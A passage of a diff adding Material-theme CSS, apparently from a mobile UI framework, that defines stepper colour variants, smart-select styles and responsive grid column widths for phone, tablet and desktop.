.stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-orange .stepper-button, +.md .stepper.color-orange .stepper-button-minus, +.md .stepper.color-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .stepper.color-orange .stepper-button-plus:after, +.md .stepper.color-orange .stepper-button-minus:after, +.md .stepper.color-orange .stepper-button-plus:before, +.md .stepper.color-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .stepper.color-orange .stepper-value, +.md .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .stepper.color-orange .stepper-value { + color: #ff9800; +} +.md .stepper.color-orange .stepper-input-wrap input { + color: #ff9800; +} +.md .stepper.color-orange.stepper-fill .stepper-button, +.md .stepper.color-orange.stepper-fill-md .stepper-button, +.md .stepper.color-orange.stepper-fill .stepper-button-minus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus, +.md .stepper.color-orange.stepper-fill .stepper-button-plus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .stepper.color-orange.stepper-fill .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .stepper.color-orange.stepper-fill .stepper-button:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button:after, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill .stepper-button:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button:before, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-gray .stepper-button, +.md .stepper.color-gray .stepper-button-minus, +.md .stepper.color-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-button-plus:after, +.md .stepper.color-gray .stepper-button-minus:after, +.md .stepper.color-gray .stepper-button-plus:before, +.md .stepper.color-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .stepper.color-gray .stepper-value, +.md .stepper.color-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .stepper.color-gray .stepper-value { + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-input-wrap input { + color: #9e9e9e; +} +.md .stepper.color-gray.stepper-fill .stepper-button, +.md .stepper.color-gray.stepper-fill-md .stepper-button, +.md .stepper.color-gray.stepper-fill .stepper-button-minus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus, +.md .stepper.color-gray.stepper-fill .stepper-button-plus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .stepper.color-gray.stepper-fill .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .stepper.color-gray.stepper-fill .stepper-button:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button:after, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill .stepper-button:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button:before, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-white .stepper-button, +.md .stepper.color-white .stepper-button-minus, +.md .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .stepper.color-white .stepper-button-plus:after, +.md .stepper.color-white .stepper-button-minus:after, +.md .stepper.color-white .stepper-button-plus:before, +.md .stepper.color-white .stepper-button-minus:before { + background: #ffffff; +} +.md .stepper.color-white .stepper-value, +.md .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .stepper.color-white .stepper-value { + color: #ffffff; +} +.md .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.md .stepper.color-white.stepper-fill .stepper-button, +.md .stepper.color-white.stepper-fill-md .stepper-button, +.md .stepper.color-white.stepper-fill .stepper-button-minus, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus, +.md .stepper.color-white.stepper-fill .stepper-button-plus, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .stepper.color-white.stepper-fill .stepper-button.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .stepper.color-white.stepper-fill .stepper-button:after, +.md .stepper.color-white.stepper-fill-md .stepper-button:after, +.md .stepper.color-white.stepper-fill .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill .stepper-button:before, +.md .stepper.color-white.stepper-fill-md .stepper-button:before, +.md .stepper.color-white.stepper-fill .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill .stepper-button-plus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-black .stepper-button, +.md .stepper.color-black .stepper-button-minus, +.md .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .stepper.color-black .stepper-button-plus:after, +.md .stepper.color-black .stepper-button-minus:after, +.md .stepper.color-black .stepper-button-plus:before, +.md .stepper.color-black .stepper-button-minus:before { + background: #000000; +} +.md .stepper.color-black .stepper-value, +.md .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .stepper.color-black .stepper-value { + color: #000000; +} +.md .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button, +.md .stepper.color-black.stepper-fill-md .stepper-button, +.md .stepper.color-black.stepper-fill .stepper-button-minus, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus, +.md .stepper.color-black.stepper-fill .stepper-button-plus, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .stepper.color-black.stepper-fill .stepper-button.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button:after, +.md .stepper.color-black.stepper-fill-md .stepper-button:after, +.md .stepper.color-black.stepper-fill .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill .stepper-button:before, +.md .stepper.color-black.stepper-fill-md .stepper-button:before, +.md .stepper.color-black.stepper-fill .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill .stepper-button-plus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +/* === Smart Select === */ +.smart-select select { + display: none; +} +.smart-select .item-after { + max-width: 70%; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + display: block; +} +.sheet-modal.smart-select-sheet .sheet-modal-inner { + background: #fff; +} +.sheet-modal.smart-select-sheet .list { + margin: 0; +} +.sheet-modal.smart-select-sheet .list ul:before { + display: none !important; +} +.sheet-modal.smart-select-sheet .list ul:after { + display: none !important; +} +.smart-select-popover .popover-inner { + max-height: 40vh; +} +.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner { + background-color: transparent; +} +/* === Grid === */ +.row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.row > [class*="col-"], +.row > .col { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.row .col { + width: 100%; +} +/* === Grid === */ +.md .row .col-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col-100 { + width: 100%; +} +.md .row .col-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); +} +.md .row.no-gap .col-95 { + width: 95%; +} +.md .row .col-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); +} +.md .row.no-gap .col-90 { + width: 90%; +} +.md .row .col-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); +} +.md .row.no-gap .col-85 { + width: 85%; +} +.md .row .col-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); +} +.md .row.no-gap .col-80 { + width: 80%; +} +.md .row .col-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); +} +.md .row.no-gap .col-75 { + width: 75%; +} +.md .row .col-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); +} +.md .row.no-gap .col-70 { + width: 70%; +} +.md .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); +} +.md .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.md .row .col-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); +} +.md .row.no-gap .col-65 { + width: 65%; +} +.md .row .col-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); +} +.md .row.no-gap .col-60 { + width: 60%; +} +.md .row .col-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); +} +.md .row.no-gap .col-55 { + width: 55%; +} +.md .row .col-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col-50 { + width: 50%; +} +.md .row .col-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); +} +.md .row.no-gap .col-45 { + width: 45%; +} +.md .row .col-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); +} +.md .row.no-gap .col-40 { + width: 40%; +} +.md .row .col-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); +} +.md .row.no-gap .col-35 { + width: 35%; +} +.md .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.md .row .col-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); +} +.md .row.no-gap .col-30 { + width: 30%; +} +.md .row .col-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col-25 { + width: 25%; +} +.md .row .col-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col-20 { + width: 20%; +} +.md .row .col-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); +} +.md .row.no-gap .col-15 { + width: 15%; +} +.md .row .col-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col-10 { + width: 10%; +} +.md .row .col-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col-5 { + width: 5%; +} +.md .row .col:nth-last-child(1), +.md .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col:nth-last-child(1), +.md .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.md .row .col:nth-last-child(2), +.md .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col:nth-last-child(2), +.md .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.md .row .col:nth-last-child(3), +.md .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col:nth-last-child(3), +.md .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.md .row .col:nth-last-child(4), +.md .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col:nth-last-child(4), +.md .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.md .row .col:nth-last-child(5), +.md .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col:nth-last-child(5), +.md .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.md .row .col:nth-last-child(6), +.md .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); +} +.md .row.no-gap .col:nth-last-child(6), +.md .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.md .row .col:nth-last-child(7), +.md .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); +} +.md .row.no-gap .col:nth-last-child(7), +.md .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.md .row .col:nth-last-child(8), +.md .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 16px*7) / 8); +} +.md .row.no-gap .col:nth-last-child(8), +.md .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.md .row .col:nth-last-child(9), +.md .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); +} +.md .row.no-gap .col:nth-last-child(9), +.md .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.md .row .col:nth-last-child(10), +.md .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col:nth-last-child(10), +.md .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.md .row .col:nth-last-child(11), +.md .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); +} +.md .row.no-gap .col:nth-last-child(11), +.md .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.md .row .col:nth-last-child(12), +.md .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); +} +.md .row.no-gap .col:nth-last-child(12), +.md .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.md .row .col:nth-last-child(13), +.md .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); +} +.md .row.no-gap .col:nth-last-child(13), +.md .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.md .row .col:nth-last-child(14), +.md .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); +} +.md .row.no-gap .col:nth-last-child(14), +.md .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.md .row .col:nth-last-child(15), +.md .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); +} +.md .row.no-gap .col:nth-last-child(15), +.md .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.md .row .col:nth-last-child(16), +.md .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 16px*15) / 16); +} +.md .row.no-gap .col:nth-last-child(16), +.md .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.md .row .col:nth-last-child(17), +.md .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); +} +.md .row.no-gap .col:nth-last-child(17), +.md .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.md .row .col:nth-last-child(18), +.md .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); +} +.md .row.no-gap .col:nth-last-child(18), +.md .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.md .row .col:nth-last-child(19), +.md .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); +} +.md .row.no-gap .col:nth-last-child(19), +.md .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.md .row .col:nth-last-child(20), +.md .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col:nth-last-child(20), +.md .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.md .row .col:nth-last-child(21), +.md .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); +} +.md .row.no-gap .col:nth-last-child(21), +.md .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .md .row .tablet-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-100 { + width: 100%; + } + .md .row .tablet-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .tablet-95 { + width: 95%; + } + .md .row .tablet-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .tablet-90 { + width: 90%; + } + .md .row .tablet-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .tablet-85 { + width: 85%; + } + .md .row .tablet-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .tablet-80 { + width: 80%; + } + .md .row .tablet-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .tablet-75 { + width: 75%; + } + .md .row .tablet-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .tablet-70 { + width: 70%; + } + .md .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .md .row .tablet-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .tablet-65 { + width: 65%; + } + .md .row .tablet-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .tablet-60 { + width: 60%; + } + .md .row .tablet-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .tablet-55 { + width: 55%; + } + .md .row .tablet-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-50 { + width: 50%; + } + .md .row .tablet-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .tablet-45 { + width: 45%; + } + .md .row .tablet-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .tablet-40 { + width: 40%; + } + .md .row .tablet-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .tablet-35 { + width: 35%; + } + .md .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .md .row .tablet-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .tablet-30 { + width: 30%; + } + .md .row .tablet-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-25 { + width: 25%; + } + .md .row .tablet-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-20 { + width: 20%; + } + .md .row .tablet-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .tablet-15 { + width: 15%; + } + .md .row .tablet-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-10 { + width: 10%; + } + .md .row .tablet-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-5 { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(1), + .md .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-auto:nth-last-child(1), + .md .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .md .row .tablet-auto:nth-last-child(2), + .md .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-auto:nth-last-child(2), + .md .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .md .row .tablet-auto:nth-last-child(3), + .md .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-auto:nth-last-child(3), + .md .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .md .row .tablet-auto:nth-last-child(4), + .md .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-auto:nth-last-child(4), + .md .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .md .row .tablet-auto:nth-last-child(5), + .md .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-auto:nth-last-child(5), + .md .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .md .row .tablet-auto:nth-last-child(6), + .md .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .tablet-auto:nth-last-child(6), + .md .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .md .row .tablet-auto:nth-last-child(7), + .md .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .tablet-auto:nth-last-child(7), + .md .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .md .row .tablet-auto:nth-last-child(8), + .md .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .tablet-auto:nth-last-child(8), + .md .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .md .row .tablet-auto:nth-last-child(9), + .md .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .tablet-auto:nth-last-child(9), + .md .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .md .row .tablet-auto:nth-last-child(10), + .md .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-auto:nth-last-child(10), + .md .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .md .row .tablet-auto:nth-last-child(11), + .md .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .tablet-auto:nth-last-child(11), + .md .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .md .row .tablet-auto:nth-last-child(12), + .md .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .tablet-auto:nth-last-child(12), + .md .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .md .row .tablet-auto:nth-last-child(13), + .md .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .tablet-auto:nth-last-child(13), + .md .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .md .row .tablet-auto:nth-last-child(14), + .md .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .tablet-auto:nth-last-child(14), + .md .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .md .row .tablet-auto:nth-last-child(15), + .md .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .tablet-auto:nth-last-child(15), + .md .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .md .row .tablet-auto:nth-last-child(16), + .md .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .tablet-auto:nth-last-child(16), + .md .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .md .row .tablet-auto:nth-last-child(17), + .md .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .tablet-auto:nth-last-child(17), + .md .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .md .row .tablet-auto:nth-last-child(18), + .md .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .tablet-auto:nth-last-child(18), + .md .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .md .row .tablet-auto:nth-last-child(19), + .md .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .tablet-auto:nth-last-child(19), + .md .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .md .row .tablet-auto:nth-last-child(20), + .md .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-auto:nth-last-child(20), + .md .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(21), + .md .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .tablet-auto:nth-last-child(21), + .md .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .md .row .desktop-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-100 { + width: 100%; + } + .md .row .desktop-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .desktop-95 { + width: 95%; + } + .md .row .desktop-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .desktop-90 { + width: 90%; + } + .md .row .desktop-85 { + width: 85%; + width: calc((100% - 